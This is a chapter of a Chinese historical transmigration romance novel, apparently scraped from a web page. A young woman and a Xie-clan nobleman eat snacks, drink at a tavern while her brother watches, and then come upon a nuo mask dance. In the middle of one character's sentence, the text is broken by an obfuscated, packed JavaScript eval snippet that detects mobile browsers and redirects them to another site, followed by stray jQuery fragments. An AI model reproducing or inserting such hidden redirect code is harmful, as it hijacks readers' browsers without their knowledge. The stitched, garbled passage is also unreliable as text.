26.闻傩兮忽惊

作品:《我是攻略病娇的黑月光(穿书)

    这就没办法了。


    就连现代的大部分餐馆都免不了这个问题,人家总不能给你设个专人专碗吧,出来吃饭本就图换换口味,总不比在家里。


    想到这里,王拂陵也不再劝他吃了,又想着不能浪费粮食,便索性将他那碗也推到自己面前,朝他一笑。


    “正好我没吃饱,郎君若不介意的话?”


    谢玄琅颔首,“请便。”


    就这样,王拂陵吃了两碗小馄饨,才和他一起出了馄饨馆子。


    两人沿街继续逛,没走多久,王拂陵就闻到一股焦焦的鲜香,是街边的胡饼。


    椒香的胡饼表面金黄酥脆,上面还洒了白芝麻,用两层油纸包着。


    她买了一块,正准备付钱,谢玄琅却提前将钱付了,包括方才的馄饨也是。


    王拂陵也不和他计较这点小钱,笑眯眯地拿了胡饼,却没有自己吃,而是递到了他面前。


    “胡饼没有和别人共用餐具了,你试试?”


    谢玄琅一怔,接过胡饼咬了几口,便拿在手上,不再吃了。


    往前走,王拂陵又买了些梅花糕和寒具,寒具是一种油炸的环状面食,表面裹着一层亮晶晶的蜜糖。


    王拂陵本来都要以为他是真的不饿了,结果发现后面买的梅花糕和寒具他倒是吃光了。


    她略一思索,发现了谢玄琅饮食上的喜好——原来他喜欢甜食。


    看来上次的桂花糕真是送对了。


    两人将这条巷子逛得差不多,走出巷子后,秦淮河岸边林立的酒肆传来酒香,温醇中还有些回甘的余香。


    王拂陵有点意动,便指了指一家雅致的酒肆问道,“走得也有些累了,不知二郎可有兴致与我小酌一杯?”


    谢玄琅看了一眼那家酒肆门口挂的“悦”字木牌,颔首道,“自然乐意奉陪。”


    刚踏入这家酒肆,王拂陵惊讶地发现老板竟是个清丽的女子,这时代女子经营一家酒肆,也实为不易。


    她暗想着真是来对了,能给老板增加点营收也是好的。结果抬目一看才发现自己想多了,这酒肆早就人满为患,别说二楼的雅间,连一楼大堂都快坐满了。


    悦娘站在曲面柜台后看账本,抬目见一对年轻士族男女进门,连忙放下手中的账本迎了过去。


    见到两人的样貌时微微一怔——这二人长得倒是与她见过的两位贵人有些相似,她看了眼楼上,倒也没有多问,只招呼道,


    “郎君与娘子来得不巧,二楼雅间已无空余,坐在一楼可否?”


    王拂陵点点头,“找个角落便可。”


    悦娘引着他们在一个安静些的角落坐下,王拂陵道,“我初次来此,不知娘子可有推荐?”


    悦娘笑道,“桑落酒是店里的招牌,也颇得大家的谬赞,娘子可要试试?”


    “桑落?这似乎不是建康的酒?”


    悦娘生就一双细眼,笑起来时显得很是面善亲和,“娘子见多识广,奴家是北人,这桑落本是洛京颇有盛名的酒。”


    “洛京,”王拂陵微微笑起,神色中似有些怀念,“我们也是北人呢。就要桑落酒罢。”


    那位玉面郎君自打进来便坐在那里,一言不发,只浅浅笑着看着他对面的女郎。


    虽说今日共同出游的男女不少,但这两位的关系却是惹人遐想。


    他不开口,于是悦娘也没再单独询问谢玄琅的意见,只笑着欸了一声,“二位请稍候片刻。”


    王拂陵盯着悦娘离开的背影,笑着跟谢玄琅感慨道,“这位娘子竟也是洛京来的,说起来还算是同乡人呢。”


    南渡之前,王谢家族皆是在洛阳居住。


    不过是一介平民而已,如何说得上同乡人?即便是在洛京,他们也完全不是一个世界的人。


    谢玄琅在心中想,不过看着王拂陵的神色,他倒是没有说出来。


    “二郎可还记得在洛京的生活?南北气候不同,不知当年初来建康时可有不适应?”


    王拂陵也是北方人,刚到南方读书时,对阴雨连绵不断的梅雨季很是头疼。


    谢玄琅默了默,似在回想,片刻后弯着唇浅声道,“在洛京时,忙着学习六艺,常随父母交游参宴。十岁那年渡江,父母为胡匪所杀。”


    “初到建康……”他回忆着,启唇娓娓道来,“是早春时节,伯父一家忙着准备父母的后事,故土暂回不得,在建康的根基亦不稳,便潦草选地葬在了城郊。”


    “早春多雨,我守灵时,便常常听着淅淅沥沥的冷雨声,内心很是平静,故大约是适应的罢。”


    听到这些,王拂陵有些无措地抿了抿唇,她是不是说错话了?引出人家的伤心事?


    结果一看谢玄琅,却发现他面色寻常,语气平和得仿佛这些痛苦的往事与他无关一般。


    ……她一时不知他是太过豁达还是表面功夫做的太好。


    正巧悦娘将酒送上来了,食案上还附赠了两碟下酒菜,“是奴家闲时琢磨的新样式,赠予二位尝尝,若有意见奴家也好改进。”说完便离开了。


    王拂陵提起酒壶给他斟了一杯酒,“都过去了,郎君的人生还长,沉湎在过去的伤痛中想必也会让泉下有知的父母牵挂的,不妨往前看。”


    这话说完她自己都觉得尴尬,她实在是不会安慰人。


    谢玄琅却有些疑惑地看了她一眼,“伤痛?”


    他摇了摇头道,“生老病死,都是人之命数,谁也逃不掉——”言及此,他不知又想到了什么,突然停顿了几秒。


    片刻后才道,“况且父母已故去多年,想必早已投胎转世,步入下一个轮回,自会有新的家人。”


    王拂陵:“……郎君豁达。”


    ……


    两人在一楼小酌,却不知二楼雅间有个人正步出。


    王澄正凭栏透气,随意地看着一楼大堂内,他的目光在熙熙攘攘的人群中掠过,最后不可思议地停在一处角落。


    片刻后,谢玄瑾也从那雅间中出来,“静之,你怎么躲在这儿?陛下正找你……”


    他说着,发现王澄表情不对,这才随着他的目光看去,“那不是阿皎和七娘么?”


    王澄拂袖,面色不善地准备下楼,谢玄瑾眼疾手快地拉住他。


    “静之,何必呢?小儿女之间的感情,就让他们自己去琢磨好了。”


    “感情?”王澄眯起眼反问。


    两人相识多年,谢玄瑾也不在意他的态度,只动之以情晓之以理,


    “我知晓你与七娘互相照拂着长大,感情自然不比一般兄妹。但七娘早晚要嫁人的,若是给她择婿,还有什么人家会比我谢氏要好呢?”


    双方知根知底,谢氏如今又得陛下重用,他完全想不到王澄为何这般看不惯他们相处。


    他说的在理,王澄一时也想不到如何反驳,只说,“你我都还未婚娶,他们年纪还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789469|189379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小。况且——”


    况且,他一直有件事未曾查明,去岁上元那日,阿陵究竟为何会去奔月酒楼?她差点丧命于那处又到底是为了甚么?


    他看向言笑晏晏的谢玄琅,心中有所猜测,却不能直接说出来——毕竟事关重大,他也并非不分轻重之人。


    想到不久之前谢玄琅负伤送她回来,他心中的怒气才稍稍平复了些,冷声留了句,“仅限今日。”便转身回了雅间。


    *


    桑落酒入口甘甜醇香,比现代的小甜水还要好喝,王拂陵总算知道为什么这家酒肆里有这么多人了。


    就是酒的后劲有点大,她之前也经常自己买点酒小酌,对自己的酒量很是清楚,感到有点脸热头晕的时候,便不再喝了。


    不料一抬头,却见对面的人俊脸生晕,面如红霞,眼波楚楚,比揉进了星光的水面还要动人。


    该不是喝醉了罢?酒量竟然比她还浅?


    她没忍住又打量了一番谢玄琅此时的样子,虽然已有了醉意,却还是规规矩矩地坐着,只是表情少见地有些迷糊和柔软……看上去分外可欺。


    王拂陵唾弃了一下见色起意的自己,又要了两杯清茶上来。


    此时外面天色已经暗了下来,但两人吃吃喝喝一下午倒是不饿,待他缓过些神来,王拂陵便和他一起出了酒肆。


    夜幕降临,华灯初上,熏风送来柔柔的暖意。


    两人缘着秦淮河岸漫步,一侧是水波粼粼,画舫云集的秦淮河,另一侧是熙熙攘攘,热闹繁忙的夜市和庙会,百戏艺人吹火吐焰。


    王拂陵被一阵奇异的乐声吸引,拉着谢玄琅朝那处走去。


    不知是不是酒劲没完全缓过来,谢玄琅自从酒肆出来就缄默不言,走路时也只垂首看着脚下的路,显得分外乖巧。


    王拂陵说要去什么地方,他只“唔”一声,也不发表意见,只肖拉拉他的袖子,他就跟着她走。


    直到离那乐声越来越近,谢玄琅却像是受到某种刺激,眸色突然清明,神色也显而易见地清醒了。


    王拂陵只顾拉着他往人群中挤去,对他的变化毫无所觉。


    建鼓声声,震若雷霆,大小锣洪亮悠长,让这乐声的节奏越发牵动人的心弦,铙钹声如闪电,尖锐铿锵,仿佛乍然划破夜空的闪电。


    这乐声滂沱而原始,让她的心不由自主地震颤,却又忍不住好奇想近前看看。


    突破重重围拢的人群后,王拂陵才看清高台上的人影,那人带着一个张牙舞爪的面具,貌如修罗,身着宽大的玄衣,手中摇着两把黄铜铃铛,脚下踩着诡异的舞步。


    她才看了一会儿,就感到衣袖被人拉了拉,“没甚么好看的,走罢。”


    王拂陵诧异地回头,见他确实面色淡淡,隐约还透着几分苍白憔悴。


    谢玄琅鲜少发表什么意见,现下却直接就这么说出来了,看来确实是觉得没什么意思。


    王拂陵便也依他,两个人朝着清净处走去。


    道旁有几处矮矮的石雕,王拂陵见他面色不佳,便拉着他坐下,“是不是走累了?还是酒意上头发晕?坐下休息一会儿罢。”


    他坐下后,王拂陵还好奇地朝那处张望,“这舞步倒是很奇异,不知是什么舞。”


    她本来是自言自语,谢玄琅瞧着对此不感兴趣,她也没指望能得到回答,不料在她说完后,却有一道冷冷的女声传来,


    “是傩舞。”